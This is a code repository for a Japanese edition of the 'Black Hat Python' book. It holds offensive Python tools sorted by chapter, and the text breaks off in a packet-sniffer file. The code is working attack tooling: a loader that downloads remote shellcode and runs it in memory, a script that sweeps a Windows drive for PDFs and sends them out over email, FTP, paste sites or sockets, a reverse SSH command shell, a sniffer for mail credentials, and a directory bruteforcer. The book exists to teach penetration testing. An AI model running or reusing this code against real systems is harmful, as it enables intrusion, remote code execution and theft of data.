├── .gitignore
├── appendix-C
├── accountlist.txt
├── get_from_web.py
└── twitter_ioc_crawler.py
├── chapter-07
├── abc.json
├── environment.py
├── dirlister.py
└── github_trojan.py
├── chapter-04
├── pcap.pcap
├── mail_sniffer1.py
├── mail_sniffer2.py
├── detector.py
├── recapper.py
└── arper.py
├── black-hat-python-2e-ja.png
├── chapter-02
├── udp_client.py
├── tcp_client.py
├── tcp_server.py
├── ssh_cmd.py
├── ssh_rcmd.py
├── ssh_server.py
├── proxy.py
└── netcat.py
├── chapter-01
└── scan.py
├── chapter-05
├── htmlparser-test.py
├── bruter.py
├── mapper.py
└── wp_killer.py
├── chapter-09
├── transmit_exfil.py
├── email_exfil.py
├── exfil.py
├── cryptor.py
└── paste_exfil.py
├── chapter-03
├── sniffer.py
├── sniffer_ip_header_parse.py
├── sniffer_ip_header_parse_ctypes.py
├── sniffer_with_icmp.py
└── scanner.py
├── chapter-08
├── shell_exec.py
├── screenshotter.py
├── keylogger.py
└── sandbox_detect.py
├── chapter-10
├── process_monitor1.py
├── bhservice.py
├── process_monitor2.py
├── bhservice_task.vbs
├── file_monitor1.py
└── file_monitor2.py
├── chapter-06
├── bhp_fuzzer.py
├── bhp_wordlist.py
└── bhp_bing.py
├── README.md
├── chapter-11
└── aslrcheck.py
├── appendix-B
└── get_opendir.py
└── appendix-A
└── bhp_slack.py
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | *~
3 |
--------------------------------------------------------------------------------
/appendix-C/accountlist.txt:
--------------------------------------------------------------------------------
1 | TrendMicroRSRCH
--------------------------------------------------------------------------------
/chapter-07/abc.json:
--------------------------------------------------------------------------------
1 | [
2 | {"module": "dirlister"},
3 | {"module": "environment"}
4 | ]
--------------------------------------------------------------------------------
/chapter-04/pcap.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oreilly-japan/black-hat-python-2e-ja/HEAD/chapter-04/pcap.pcap
--------------------------------------------------------------------------------
/black-hat-python-2e-ja.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oreilly-japan/black-hat-python-2e-ja/HEAD/black-hat-python-2e-ja.png
--------------------------------------------------------------------------------
/chapter-07/environment.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | def run(**args):
4 | print("[*] In environment module.")
5 | return os.environ
6 |
--------------------------------------------------------------------------------
/chapter-07/dirlister.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | def run(**args):
4 | print("[*] In dirlister module.")
5 | files = os.listdir(".")
6 | return str(files)
7 |
8 |
--------------------------------------------------------------------------------
/chapter-04/mail_sniffer1.py:
--------------------------------------------------------------------------------
1 | from scapy.all import sniff
2 |
3 | def packet_callback(packet):
4 | print(packet.show())
5 |
6 | def main():
7 | sniff(prn=packet_callback, count=1)
8 |
9 |
10 | if __name__ == '__main__':
11 | main()
--------------------------------------------------------------------------------
/chapter-02/udp_client.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | HOST = '127.0.0.1'
4 | PORT = 9997
5 |
6 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
7 | client.sendto(b'AAABBBCCC', (HOST, PORT))
8 |
9 | data, address = client.recvfrom(4096)
10 | print(data.decode('utf-8'))
11 | print(address)
12 |
13 | client.close()
--------------------------------------------------------------------------------
/chapter-01/scan.py:
--------------------------------------------------------------------------------
1 | from lxml import etree
2 | from subprocess import Popen
3 |
4 | import argparse
5 | import os
6 |
7 | def get_ip(machine_name):
8 | pass
9 |
10 | class Scanner:
11 | def __init__(self):
12 | pass
13 |
14 | if __name__ == '__main__':
15 | scan = Scanner()
16 | print('hello')
17 |
--------------------------------------------------------------------------------
/chapter-02/tcp_client.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | target_host = "www.google.com"
4 | target_port = 80
5 |
6 | # ソケットオブジェクトの作成
7 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8 |
9 | # サーバーへ接続
10 | client.connect((target_host,target_port))
11 |
12 | # データの送信
13 | client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
14 |
15 | # データの受信
16 | response = client.recv(4096)
17 |
18 | print(response.decode())
19 | client.close()
--------------------------------------------------------------------------------
/chapter-05/htmlparser-test.py:
--------------------------------------------------------------------------------
1 | from html.parser import HTMLParser
2 |
3 | class MyHTMLParser(HTMLParser):
4 | def handle_starttag(self, tag, attrs):
5 | print(f"handle_starttag => tag 変数は {tag}")
6 |
7 | def handle_data(self, data):
8 | print(f"handle_data => data 変数は {data}")
9 |
10 | def handle_endtag(self, tag):
11 | print(f"handle_endtag => tag 変数は {tag}")
12 |
13 | parser = MyHTMLParser()
14 | parser.feed('
Python rocks!')
--------------------------------------------------------------------------------
/chapter-04/mail_sniffer2.py:
--------------------------------------------------------------------------------
1 | from scapy.all import sniff, TCP, IP
2 |
3 | # パケット受信用コールバック
4 | def packet_callback(packet):
5 | if packet[TCP].payload:
6 | mypacket = str(packet[TCP].payload)
7 | if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
8 | print(f"[*] Destination: {packet[IP].dst}")
9 | print(f"[*] {str(packet[TCP].payload)}")
10 |
11 |
12 | def main():
13 | # スニッファーを起動
14 | sniff(filter='tcp port 110 or tcp port 25 or tcp port 143', prn=packet_callback, store=0)
15 |
16 | if __name__ == '__main__':
17 | main()
--------------------------------------------------------------------------------
/chapter-09/transmit_exfil.py:
--------------------------------------------------------------------------------
1 | import ftplib
2 | import os
3 | import socket
4 | import win32file
5 |
6 |
7 | def plain_ftp(docpath, server='192.168.1.203'):
8 | ftp = ftplib.FTP(server)
9 | ftp.login("anonymous", "anon@example.com")
10 | ftp.cwd('/pub/')
11 | ftp.storbinary("STOR " + os.path.basename(docpath),
12 | open(docpath, "rb"), 1024)
13 | ftp.quit()
14 |
15 |
16 | def transmit(document_path):
17 | client = socket.socket()
18 | client.connect(('192.168.1.207', 10000))
19 | with open(document_path, 'rb') as f:
20 | win32file.TransmitFile(
21 | client,
22 | win32file._get_osfhandle(f.fileno()),
23 | 0, 0, None, 0, b'', b'')
24 |
25 |
26 | if __name__ == '__main__':
27 | transmit('./mysecrets.txt')
--------------------------------------------------------------------------------
/chapter-02/tcp_server.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import threading
3 |
4 | IP = '0.0.0.0'
5 | PORT = 9998
6 |
7 |
8 | def main():
9 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 | server.bind((IP, PORT))
11 | server.listen(5)
12 | print(f'[*] Listening on {IP}:{PORT}')
13 |
14 | while True:
15 | client, address = server.accept()
16 | print(f'[*] Accepted connection from {address[0]}:{address[1]}')
17 | client_handler = threading.Thread(target=handle_client, args=(client,))
18 | client_handler.start()
19 |
20 |
21 | def handle_client(client_socket):
22 | with client_socket as sock:
23 | request = sock.recv(1024)
24 | print(f'[*] Received: {request.decode("utf-8")}')
25 | sock.send(b'ACK')
26 |
27 |
28 | if __name__ == '__main__':
29 | main()
30 |
--------------------------------------------------------------------------------
/chapter-03/sniffer.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import os
3 |
4 | # リッスンするホストのIPアドレス
5 | HOST = '192.168.1.203'
6 |
7 | def main():
8 | # rawソケットを作成しパブリックなインタフェースにバインド
9 | if os.name == 'nt':
10 | socket_protocol = socket.IPPROTO_IP
11 | else:
12 | socket_protocol = socket.IPPROTO_ICMP
13 |
14 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
15 | sniffer.bind((HOST, 0))
16 | # キャプチャー結果にIPヘッダーを含めるように指定
17 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
18 |
19 | if os.name == 'nt':
20 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
21 |
22 | # 単一パケットの読み込み
23 | print(sniffer.recvfrom(65565))
24 |
25 | # Windowsの場合はプロミスキャスモードを無効化
26 | if os.name == 'nt':
27 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
28 |
29 |
30 | if __name__ == '__main__':
31 | main()
--------------------------------------------------------------------------------
/chapter-02/ssh_cmd.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import paramiko
3 |
4 | def ssh_command(ip, port, user, passwd, cmd):
5 | client = paramiko.SSHClient()
6 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
7 | client.connect(ip, port=port, username=user, password=passwd)
8 |
9 | _, stdout, stderr = client.exec_command(cmd)
10 | output = stdout.readlines() + stderr.readlines()
11 | if output:
12 | print('--- Output ---')
13 | for line in output:
14 | print(line.strip())
15 |
16 | if __name__ == '__main__':
17 | import getpass
18 | # user = getpass.getuser()
19 | user = input('Username: ')
20 | password = getpass.getpass()
21 |
22 | ip = input('Enter server IP: ') or '192.168.1.203'
23 | port = input('Enter port or : ') or 2222
24 | cmd = input('Enter command or : ') or 'id'
25 | ssh_command(ip, port, user, password, cmd)
26 |
--------------------------------------------------------------------------------
/chapter-08/shell_exec.py:
--------------------------------------------------------------------------------
1 | from urllib import request
2 |
3 | import base64
4 | import ctypes
5 |
6 |
7 | kernel32 = ctypes.windll.kernel32
8 |
9 |
10 | def get_code(url):
11 | with request.urlopen(url) as response:
12 | shellcode = base64.decodebytes(response.read())
13 | return shellcode
14 |
15 |
16 | def write_memory(buf):
17 | length = len(buf)
18 |
19 | kernel32.VirtualAlloc.restype = ctypes.c_void_p
20 | kernel32.RtlMoveMemory.argtypes = (
21 | ctypes.c_void_p,
22 | ctypes.c_void_p,
23 | ctypes.c_size_t)
24 |
25 | ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
26 | kernel32.RtlMoveMemory(ptr, buf, length)
27 | return ptr
28 |
29 |
30 | def run(shellcode):
31 | buffer = ctypes.create_string_buffer(shellcode)
32 | ptr = write_memory(buffer)
33 | shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
34 | shell_func()
35 |
36 |
37 | if __name__ == '__main__':
38 | url = "http://192.168.1.203:8000/my32shellcode.bin"
39 | shellcode = get_code(url)
40 | run(shellcode)
--------------------------------------------------------------------------------
/chapter-09/email_exfil.py:
--------------------------------------------------------------------------------
1 | import smtplib
2 | import time
3 | import win32com.client
4 |
5 | smtp_server = 'smtp.example.com'
6 | smtp_port = 587
7 | smtp_acct = 'tim@example.com'
8 | smtp_password = 'seKret'
9 | tgt_accts = ['tim@elsewhere.com']
10 |
11 |
12 | def plain_email(subject, contents):
13 | message = f'Subject: {subject}\nFrom: {smtp_acct}\n'
14 | message += f'To: {", ".join(tgt_accts)}\n\n{contents.decode()}'
15 | server = smtplib.SMTP(smtp_server, smtp_port)
16 | server.starttls()
17 | server.login(smtp_acct, smtp_password)
18 |
19 | # server.set_debuglevel(1)
20 | server.sendmail(smtp_acct, tgt_accts, message)
21 | time.sleep(1)
22 | server.quit()
23 |
24 |
25 | def outlook(subject, contents):
26 | outlook = win32com.client.Dispatch("Outlook.Application")
27 | message = outlook.CreateItem(0)
28 | message.DeleteAfterSubmit = True
29 | message.Subject = subject
30 | message.Body = contents.decode()
31 | message.To = tgt_accts[0]
32 | message.Send()
33 |
34 |
35 | if __name__ == '__main__':
36 | plain_email('test2 message', b'attack at dawn.')
37 |
--------------------------------------------------------------------------------
/chapter-04/detector.py:
--------------------------------------------------------------------------------
1 | import cv2
2 | import os
3 |
4 | ROOT = '/home/kali/pictures'
5 | FACES = '/home/kali/faces'
6 | TRAIN = '/home/kali/training'
7 |
8 |
9 | def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
10 | for fname in os.listdir(srcdir):
11 | if not fname.upper().endswith('.JPEG'):
12 | continue
13 | fullname = os.path.join(srcdir, fname)
14 | newname = os.path.join(tgtdir, fname)
15 | img = cv2.imread(fullname)
16 | if img is None:
17 | continue
18 |
19 | gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
20 | training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml')
21 | cascade = cv2.CascadeClassifier(training)
22 | rects = cascade.detectMultiScale(gray, 1.3, 5)
23 | try:
24 | if rects.any():
25 | print('got a face')
26 | rects[:, 2:] += rects[:, :2]
27 | except AttributeError:
28 | print(f'No faces found in {fname}.')
29 | continue
30 |
31 | # 画像内の顔の周りに四角形を描画
32 | for x1, y1, x2, y2 in rects:
33 | cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
34 | cv2.imwrite(newname, img)
35 |
36 | if __name__ == '__main__':
37 | detect()
38 |
--------------------------------------------------------------------------------
/chapter-10/process_monitor1.py:
--------------------------------------------------------------------------------
1 | import win32api
2 | import win32con
3 | import win32security
4 | import wmi
5 |
6 |
7 | def log_to_file(message):
8 | with open('process_monitor_log.csv', 'a') as fd:
9 | fd.write(f'{message}\r\n')
10 |
11 |
12 | def monitor():
13 | head = ('CommandLine, Time, Executable, Parent PID, PID, User, '
14 | 'Privileges')
15 | log_to_file(head)
16 | c = wmi.WMI()
17 | process_watcher = c.Win32_Process.watch_for('creation')
18 | while True:
19 | try:
20 | new_process = process_watcher()
21 | cmdline = new_process.CommandLine
22 | create_date = new_process.CreationDate
23 | executable = new_process.ExecutablePath
24 | parent_pid = new_process.ParentProcessId
25 | pid = new_process.ProcessId
26 | proc_owner = new_process.GetOwner()
27 |
28 | privileges = 'N/A'
29 | process_log_message = (
30 | f'{cmdline} , {create_date} , {executable},'
31 | f'{parent_pid} , {pid} , {proc_owner} , {privileges}'
32 | )
33 | print(process_log_message)
34 | print()
35 | log_to_file(process_log_message)
36 | except Exception:
37 | pass
38 |
39 |
40 | if __name__ == '__main__':
41 | monitor()
--------------------------------------------------------------------------------
/chapter-08/screenshotter.py:
--------------------------------------------------------------------------------
1 | import ctypes
2 | import win32api
3 | import win32con
4 | import win32gui
5 | import win32ui
6 |
7 |
8 | def get_dimensions():
9 | PROCESS_PER_MONITOR_DPI_AWARE = 2
10 | ctypes.windll.shcore.SetProcessDpiAwareness(PROCESS_PER_MONITOR_DPI_AWARE)
11 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
12 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
13 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
14 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
15 | return (width, height, left, top)
16 |
17 |
18 | def screenshot(name='screenshot'):
19 | hdesktop = win32gui.GetDesktopWindow()
20 | width, height, left, top = get_dimensions()
21 |
22 | desktop_dc = win32gui.GetWindowDC(hdesktop)
23 | img_dc = win32ui.CreateDCFromHandle(desktop_dc)
24 | mem_dc = img_dc.CreateCompatibleDC()
25 |
26 | screenshot = win32ui.CreateBitmap()
27 | screenshot.CreateCompatibleBitmap(img_dc, width, height)
28 | mem_dc.SelectObject(screenshot)
29 | mem_dc.BitBlt((0,0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
30 | screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp')
31 |
32 | mem_dc.DeleteDC()
33 | win32gui.DeleteObject(screenshot.GetHandle())
34 |
35 |
36 | def run():
37 | screenshot()
38 | with open('screenshot.bmp') as f:
39 | img = f.read()
40 | return img
41 |
42 |
43 | if __name__ == '__main__':
44 | screenshot()
--------------------------------------------------------------------------------
/chapter-02/ssh_rcmd.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import locale
3 | import os
4 | import paramiko
5 | import shlex
6 | import subprocess
7 |
8 |
9 | def ssh_command(ip, port, user, passwd, command):
10 | client = paramiko.SSHClient()
11 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
12 | client.connect(ip, port=port, username=user, password=passwd)
13 |
14 | ssh_session = client.get_transport().open_session()
15 | if ssh_session.active:
16 | ssh_session.send(command)
17 | print(ssh_session.recv(1024).decode()) # read banner
18 | while True:
19 | command = ssh_session.recv(1024)
20 | try:
21 | cmd = command.decode()
22 | if cmd == 'exit':
23 | client.close()
24 | break
25 | cmd_output = subprocess.check_output(cmd, shell=True)
26 | if os.name == 'nt' and locale.getdefaultlocale() == ('ja_JP', 'cp932'):
27 | cmd_output = cmd_output.decode('cp932')
28 | ssh_session.send(cmd_output or 'okay')
29 | except Exception as e:
30 | ssh_session.send(str(e))
31 | client.close()
32 | return
33 |
34 |
35 | if __name__ == '__main__':
36 | import getpass
37 | user = input('Username: ')
38 | password = getpass.getpass()
39 |
40 | ip = input('Enter server IP: ')
41 | port = input('Enter port: ')
42 | ssh_command(ip, port, user, password, 'ClientConnected')
43 |
--------------------------------------------------------------------------------
/chapter-09/exfil.py:
--------------------------------------------------------------------------------
1 | from cryptor import encrypt
2 | from email_exfil import outlook, plain_email
3 | from transmit_exfil import plain_ftp, transmit
4 | from paste_exfil import ie_paste, plain_paste
5 |
6 | import os
7 | from os.path import join, basename
8 |
9 |
10 | EXFIL = {
11 | 'outlook': outlook,
12 | 'plain_email': plain_email,
13 | 'plain_ftp': plain_ftp,
14 | 'transmit': transmit,
15 | 'ie_paste': ie_paste,
16 | 'plain_paste': plain_paste,
17 | }
18 |
19 |
20 | def find_docs(doc_type='.pdf'):
21 | for parent, _, filenames in os.walk('c:\\'):
22 | for filename in filenames:
23 | if filename.endswith(doc_type):
24 | document_path = join(parent, filename)
25 | yield document_path
26 |
27 |
28 | def exfiltrate(document_path, method):
29 | if method in ['transmit', 'plain_ftp']:
30 | filename = f'c:\\windows\\temp\\{basename(document_path)}'
31 | with open(document_path, 'rb') as f0:
32 | contents = f0.read()
33 | with open(filename, 'wb') as f1:
34 | f1.write(encrypt(contents))
35 |
36 | EXFIL[method](filename)
37 | os.unlink(filename)
38 | else:
39 | with open(document_path, 'rb') as f:
40 | contents = f.read()
41 | title = basename(document_path)
42 | contents = encrypt(contents)
43 | EXFIL[method](title, contents)
44 |
45 |
46 | if __name__ == '__main__':
47 | for fpath in find_docs():
48 | exfiltrate(fpath, 'plain_paste')
--------------------------------------------------------------------------------
/chapter-10/bhservice.py:
--------------------------------------------------------------------------------
1 | import os
2 | import servicemanager
3 | import shutil
4 | import subprocess
5 | import sys
6 |
7 | import win32event
8 | import win32service
9 | import win32serviceutil
10 |
11 | SRCDIR = 'C:\\Users\\IEUser'
12 | TGTDIR = 'C:\\Windows\\TEMP'
13 |
14 | class BHServerSvc(win32serviceutil.ServiceFramework):
15 | _svc_name_ = "BlackHatService"
16 | _svc_display_name_ = "Black Hat Service"
17 | _svc_description_ = ("Executes VBScripts at regular intervals." +
18 | " What could possibly go wrong?")
19 |
20 | def __init__(self, args):
21 | self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs')
22 | self.timeout = 1000 * 60
23 |
24 | win32serviceutil.ServiceFramework.__init__(self, args)
25 | self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
26 |
27 | def SvcStop(self):
28 | self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
29 | win32event.SetEvent(self.hWaitStop)
30 |
31 | def SvcDoRun(self):
32 | self.ReportServiceStatus(win32service.SERVICE_RUNNING)
33 | self.main()
34 |
35 | def main(self):
36 | while True:
37 | ret_code = win32event.WaitForSingleObject(self.hWaitStop, self.timeout)
38 | if ret_code == win32event.WAIT_OBJECT_0:
39 | servicemanager.LogInfoMsg("Service is stopping")
40 | break
41 |
42 | src = os.path.join(SRCDIR, 'bhservice_task.vbs')
43 | shutil.copy(src, self.vbs)
44 | subprocess.call("cscript.exe %s" % self.vbs, shell=False)
45 | os.unlink(self.vbs)
46 |
47 | if __name__ == '__main__':
48 | if len(sys.argv) == 1:
49 | servicemanager.Initialize()
50 | servicemanager.PrepareToHostSingle(BHServerSvc)
51 | servicemanager.StartServiceCtrlDispatcher()
52 | else:
53 | win32serviceutil.HandleCommandLine(BHServerSvc)
54 |
--------------------------------------------------------------------------------
/chapter-05/bruter.py:
--------------------------------------------------------------------------------
1 | import queue
2 | import requests
3 | import sys
4 | import threading
5 |
6 | AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
7 | EXTENSIONS = ['.php', '.bak', '.orig', '.inc']
8 | TARGET = "http://testphp.vulnweb.com"
9 | THREADS = 50
10 | WORDLIST = "/home/kali/Downloads/all.txt"
11 |
12 |
13 | def get_words(resume=None):
14 | def extend_words(word):
15 | if "." in word:
16 | words.put(f'/{word}')
17 | else:
18 | words.put(f'/{word}/')
19 |
20 | for extension in EXTENSIONS:
21 | words.put(f'/{word}{extension}')
22 |
23 | with open(WORDLIST) as f:
24 | raw_words = f.read()
25 | found_resume = False
26 | words = queue.Queue()
27 | for word in raw_words.split():
28 | if resume is not None:
29 | if found_resume:
30 | extend_words(word)
31 | elif word == resume:
32 | found_resume = True
33 | print(f'Resuming wordlist from: {resume}')
34 | else:
35 | print(word)
36 | extend_words(word)
37 | return words
38 |
39 |
40 | def dir_bruter(words):
41 | headers = {'User-Agent': AGENT}
42 | while not words.empty():
43 | url = f'{TARGET}{words.get()}'
44 | try:
45 | r = requests.get(url, headers=headers)
46 | except requests.exceptions.ConnectionError:
47 | sys.stderr.write('x')
48 | sys.stderr.flush()
49 | continue
50 |
51 | if r.status_code == 200:
52 | print(f'\nSuccess ({r.status_code}: {url})')
53 | elif r.status_code == 404:
54 | sys.stderr.write('.');sys.stderr.flush()
55 | else:
56 | print(f'{r.status_code} => {url}')
57 |
58 |
59 | if __name__ == '__main__':
60 | words = get_words()
61 | print('Press return to continue.')
62 | sys.stdin.readline()
63 | for _ in range(THREADS):
64 | t = threading.Thread(target=dir_bruter, args=(words,))
65 | t.start()
66 |
--------------------------------------------------------------------------------
/chapter-05/mapper.py:
--------------------------------------------------------------------------------
1 | import contextlib
2 | import os
3 | import queue
4 | import requests
5 | import sys
6 | import threading
7 | import time
8 |
9 | FILTERED = [".jpg", ".gif", ".png", ".css"]
10 | TARGET = "http://127.0.0.1:31337"
11 | THREADS = 10
12 |
13 | answers = queue.Queue()
14 | web_paths = queue.Queue()
15 |
16 | def gather_paths():
17 | for root, _, files in os.walk('.'):
18 | for fname in files:
19 | if os.path.splitext(fname)[1] in FILTERED:
20 | continue
21 | path = os.path.join(root, fname)
22 | if path.startswith('.'):
23 | path = path[1:]
24 | print(path)
25 | web_paths.put(path)
26 |
27 | @contextlib.contextmanager
28 | def chdir(path):
29 | """
30 | On enter, change directory to specified path.
31 | On exit, change directory back to original.
32 | """
33 | this_dir = os.getcwd()
34 | os.chdir(path)
35 | try:
36 | yield
37 | finally:
38 | os.chdir(this_dir)
39 |
40 | def test_remote():
41 | while not web_paths.empty():
42 | path = web_paths.get()
43 | url = f'{TARGET}{path}'
44 | time.sleep(2)
45 | r = requests.get(url)
46 | if r.status_code == 200:
47 | answers.put(url)
48 | sys.stdout.write('+')
49 | else:
50 | sys.stdout.write('x')
51 | sys.stdout.flush()
52 |
53 | def run():
54 | mythreads = list()
55 | for i in range(THREADS):
56 | print(f'Spawning thread {i}')
57 | t = threading.Thread(target=test_remote)
58 | mythreads.append(t)
59 | t.start()
60 |
61 | for thread in mythreads:
62 | thread.join()
63 |
64 |
65 | if __name__ == '__main__':
66 | with chdir("/home/kali/Downloads/wordpress/"):
67 | gather_paths()
68 | input('Press return to continue.')
69 | run()
70 | with open('myanswers.txt', 'w') as f:
71 | while not answers.empty():
72 | f.write(f'{answers.get()}\n')
73 | print('done')
--------------------------------------------------------------------------------
/chapter-09/cryptor.py:
--------------------------------------------------------------------------------
1 | from Cryptodome.Cipher import AES, PKCS1_OAEP
2 | from Cryptodome.PublicKey import RSA
3 | from Cryptodome.Random import get_random_bytes
4 | from io import BytesIO
5 |
6 | import base64
7 | import zlib
8 |
9 |
10 | def generate():
11 | new_key = RSA.generate(2048)
12 | private_key = new_key.exportKey()
13 | public_key = new_key.publickey().exportKey()
14 |
15 | with open('key.pri', 'wb') as f:
16 | f.write(private_key)
17 |
18 | with open('key.pub', 'wb') as f:
19 | f.write(public_key)
20 |
21 |
22 | def get_rsa_cipher(keytype):
23 | with open(f'key.{keytype}') as f:
24 | key = f.read()
25 | rsakey = RSA.importKey(key)
26 | return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes())
27 |
28 |
29 | def encrypt(plaintext):
30 | compressed_text = zlib.compress(plaintext)
31 |
32 | session_key = get_random_bytes(16)
33 | cipher_aes = AES.new(session_key, AES.MODE_EAX)
34 | ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text)
35 |
36 | cipher_rsa, _ = get_rsa_cipher('pub')
37 | encrypted_session_key = cipher_rsa.encrypt(session_key)
38 |
39 | msg_payload = encrypted_session_key + \
40 | cipher_aes.nonce + tag + ciphertext
41 | encrypted = base64.encodebytes(msg_payload)
42 | return(encrypted)
43 |
44 |
45 | def decrypt(encrypted):
46 | encrypted_bytes = BytesIO(base64.decodebytes(encrypted))
47 | cipher_rsa, keysize_in_bytes = get_rsa_cipher('pri')
48 |
49 | encrypted_session_key = encrypted_bytes.read(keysize_in_bytes)
50 | nonce = encrypted_bytes.read(16)
51 | tag = encrypted_bytes.read(16)
52 | ciphertext = encrypted_bytes.read()
53 |
54 | session_key = cipher_rsa.decrypt(encrypted_session_key)
55 | cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
56 | decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag)
57 |
58 | plaintext = zlib.decompress(decrypted)
59 | return plaintext
60 |
61 |
62 | if __name__ == '__main__':
63 | generate()
64 | plaintext = b'hey there you.'
65 | print(decrypt(encrypt(plaintext)))
--------------------------------------------------------------------------------
/chapter-10/process_monitor2.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 |
4 | import win32api
5 | import win32con
6 | import win32security
7 |
8 | import wmi
9 |
10 |
11 | def get_process_privileges(pid):
12 | try:
13 | hproc = win32api.OpenProcess(
14 | win32con.PROCESS_QUERY_INFORMATION, False, pid)
15 | htok = win32security.OpenProcessToken(
16 | hproc, win32con.TOKEN_QUERY)
17 | privs = win32security.GetTokenInformation(
18 | htok, win32security.TokenPrivileges)
19 | privileges = ''
20 | for priv_id, flags in privs:
21 | if flags == win32security.SE_PRIVILEGE_ENABLED | win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT:
22 | privileges += f'{win32security.LookupPrivilegeName(None, priv_id)}|'
23 | except Exception:
24 | privileges = 'N/A'
25 |
26 | return privileges
27 |
28 |
29 | def log_to_file(message):
30 | with open('process_monitor_log.csv', 'a') as fd:
31 | fd.write(f'{message}\r\n')
32 |
33 |
34 | def monitor():
35 | log_to_file(
36 | 'CommandLine, Time, Executable, Parent PID, PID, User, Privileges')
37 | c = wmi.WMI()
38 | process_watcher = c.Win32_Process.watch_for('creation')
39 | while True:
40 | try:
41 | new_process = process_watcher()
42 | cmdline = new_process.CommandLine
43 | create_date = new_process.CreationDate
44 | executable = new_process.ExecutablePath
45 | parent_pid = new_process.ParentProcessId
46 | pid = new_process.ProcessId
47 | proc_owner = new_process.GetOwner()
48 |
49 | privileges = get_process_privileges(pid)
50 | process_log_message = (
51 | f'{cmdline} , {create_date} , {executable},'
52 | f'{parent_pid} , {pid} , {proc_owner} , {privileges}'
53 | )
54 | print(process_log_message)
55 | print()
56 | log_to_file(process_log_message)
57 | except Exception:
58 | pass
59 |
60 |
61 | if __name__ == '__main__':
62 | monitor()
63 |
--------------------------------------------------------------------------------
/chapter-02/ssh_server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import os
3 | import paramiko
4 | import socket
5 | import sys
6 | import threading
7 |
8 | CWD = os.path.dirname(os.path.realpath(__file__))
9 | HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
10 |
11 |
12 | class Server (paramiko.ServerInterface):
13 | def _init_(self):
14 | self.event = threading.Event()
15 |
16 | def check_channel_request(self, kind, chanid):
17 | if kind == 'session':
18 | return paramiko.OPEN_SUCCEEDED
19 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
20 |
21 | def check_auth_password(self, username, password):
22 | if (username == 'tim') and (password == 'sekret'):
23 | return paramiko.AUTH_SUCCESSFUL
24 |
25 |
26 | if __name__ == '__main__':
27 | server = '192.168.1.207'
28 | ssh_port = 2222
29 | try:
30 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
31 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
32 | sock.bind((server, ssh_port))
33 | sock.listen(100)
34 | print('[+] Listening for connection ...')
35 | client, addr = sock.accept()
36 | except Exception as e:
37 | print('[-] Listen failed: ' + str(e))
38 | sys.exit(1)
39 | else:
40 | print(f'[+] Got a connection! from {addr}')
41 |
42 | bhSession = paramiko.Transport(client)
43 | bhSession.add_server_key(HOSTKEY)
44 | server = Server()
45 | bhSession.start_server(server=server)
46 |
47 | chan = bhSession.accept(20)
48 | if chan is None:
49 | print('*** No channel.')
50 | sys.exit(1)
51 |
52 | print('[+] Authenticated!')
53 | print(chan.recv(1024).decode())
54 | chan.send('Welcome to bh_ssh')
55 | try:
56 | while True:
57 | command = input("Enter command: ")
58 | if command != 'exit':
59 | chan.send(command)
60 | r = chan.recv(8192)
61 | print(r.decode())
62 | else:
63 | chan.send('exit')
64 | print('exiting')
65 | bhSession.close()
66 | break
67 | except KeyboardInterrupt:
68 | bhSession.close()
69 |
--------------------------------------------------------------------------------
/chapter-03/sniffer_ip_header_parse.py:
--------------------------------------------------------------------------------
1 | import ipaddress
2 | import os
3 | import socket
4 | import struct
5 | import sys
6 |
7 | class IP:
8 | def __init__(self, buff=None):
9 | header = struct.unpack('> 4
11 | self.ihl = header[0] & 0xF
12 |
13 | self.tos = header[1]
14 | self.len = header[2]
15 | self.id = header[3]
16 | self.offset = header[4]
